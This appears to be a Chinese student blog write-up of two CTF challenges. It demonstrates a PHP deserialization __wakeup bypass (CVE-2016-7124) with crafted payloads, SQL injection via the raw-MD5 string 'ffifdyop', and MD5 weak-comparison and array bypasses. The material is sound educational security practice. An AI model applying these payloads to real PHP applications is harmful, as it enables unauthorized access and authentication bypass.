2er0's Studio.

PHP反序列化与MD5碰撞

Word count: 1.6kReading time: 7 min
2020/11/25 Share

PHP反序列化,MD5绕过学习

学习过程是通过刷题,来源:https://buuoj.cn/challenges

1.[极客大挑战 2019]PHP

运行实例后,看到一个优秀的前端,提示网站备份,用dirsearch爆破目录

dirsearch下载:https://github.com/maurosoria/dirsearch

使用方法:

-u 指定url

-e 指定语言

进入dirsearch目录后,Terminal执行语句:

python3 dirsearch.py -u http://9abbc68b-92fd-4e85-a2c3-5266994c0cdb.node3.buuoj.cn/ -e php

爆出来一大堆目录文件,只关注需要的备份文件www.zip

在url后面拼接 /www.zip 下载压缩文件包

打开压缩包后:

打开index.php:

index.php关键点

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

可以看到需要get方法传select参数,后面又是反序列化函数,具体的还需要看class.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>

根据代码的意思可以知道,只要password=100,username=admin,在执行__destruct()的时候可以获得flag,所以我们需要达成这些要求。但这里需要绕过 _wakeup()方法

绕过方法:

这里就要用到CVE-2016-7124漏洞,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

代码:php在线编辑即可

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a=new Name('admin',100);
echo serialize($a);
?>

将新建的对象$a序列化后得到的结果:

O:4:"Name":2:{s:8:"username";s:5:"admin";s:14:"Namepassword";i:100;}

解读:

O:(object name length) : “object name”: 属性数量(只包括private,public,protected) :{属性1数据类型:属性长度:“属性名”;属性1值的数据类型(此处为string):长度:“值”;属性2(值的数据类型为int;…}

从上面所说,绕过wakeup()方法需要修改属性个数大于原来的(2),此处可以改为4,payload:

?select=O:4:"Name":4:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

尝试后发现不行,需要注意的是,因为这个变量的声明是private,其字段为私有字段,仅在其声明类中可见,在子类及对象实例中均不可见(c++好像也是这样,记不清了),因此字段名在序列化时会在字段名和类名的前面加上0(%00),字段长度也包括所加0的长度,如图(显示的是非打印字符):

图中的方格处就是需要加%00的地方,构造新的payload如下:

?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}


2.[BJDCTF2020]Easy MD5

1.sql注入+MD5

有输入框,随便输入后,可以看到是get方法传参,尝试报错注入,没反应,抓包看header有hint提示:

它将用户输入的参数md5后再代入sql查询语句进行后续的查询,所以我们就需要构造一个字符串,让它的md5的值为 ‘ or … , ‘ 将前面的的sql语句闭合,然后 or 后面的字符,只要 or 之后的字符第一个不是0,理论上就可以爆出表单内容(今天上网络安全课老师刚讲过:)),如图拼接后的sql语句应该类似这样子:

select * from admin where password=''or'......'

突破点在md5($pass,true)这里,先来看看md5函数的用法:

可以通过如下的脚本获得所需明文:

1
2
3
4
5
6
7
8
9
10
<?php  
for ($i = 0;;)
{
for ($c = 0; $c < 1000000; $c++, $i++)
if (stripos(md5($i, true), '\'or\'') !== false)
echo "\nmd5($i) = " . md5($i, true) . "\n";
echo ".";
}
?>
//引用于 http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/

常用的:ffifdyop,该字符串md5加密后若raw参数为True时会返回 ‘or’6 (其实就是一些乱码和不可见字符,这里只要第一位是非零数字即可被判定为True,后面的’’会在MySQL将其转换成整型比较时丢掉)

所以如果这里我们输入ffifdyop,后端的SQL语句会变成:

select * from admin where password=''or'6<trash>'

成功构造后即进入下一关:

2.php,MD5的弱类型比较

1
2
3
4
5
6
7
<!--
$a = $GET['a'];
$b = $_GET['b'];

if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
get传参,两个参数$a,$b,要求如下:
要求a和b明文值不同,但md5值相同,注意这里是两个等于号,是弱相等,所以我们可以利用PHP的弱类型比较突破,寻找两个明文不同但md5值为”0exxxxx”的字符串:

如:QNKCDZO , s214587387a

3.数组绕过

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}

post方法传参,要求param1 和 param2 类型不同,但MD5后的值和类型都相同!2中的方法没办法通过。

因为md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。

所以直接POST传入param1[]=1&param2[]=2即可得到,可使用hackbar插件,google和firefox里都有。

参考php的一些特性:

1
2
3
4
5
6
7
md5(array()) = null
sha1(array()) = null
ereg(pattern,array()) = null vs preg_match(pattern,array) = false
strcmp(array(), "abc") = null
strpos(array(),"abc") = null

引用自 https://blog.csdn.net/q1352483315/article/details/89469928

总结:

今天这两道ctf题主要考察点是,php反序列化漏洞(wakeup()方法的绕过),sql注入的基本原理,get,post方法传参,以及MD5函数特性,数组绕过等,两道题只是简单的入门了解,后面还需继续加深才是!

参考:

https://xz.aliyun.com/t/3674#toc-5

https://www.cnblogs.com/yesec/p/12535534.html

https://blog.csdn.net/qq_42967398/article/details/104522626

https://segmentfault.com/a/1190000022534926

https://blog.csdn.net/q1352483315/article/details/89469928

CATALOG
  1. 1. PHP反序列化,MD5绕过学习
    1. 1.1. 1.[极客大挑战 2019]PHP
    2. 1.2. 2.[BJDCTF2020]Easy MD5
    3. 1.3. get传参,两个参数$a,$b,要求如下:
    4. 1.4. 要求a和b明文值不同,但md5值相同,注意这里是两个等于号,是弱相等,所以我们可以利用PHP的弱类型比较突破,寻找两个明文不同但md5值为”0exxxxx”的字符串:
  2. 2. 总结: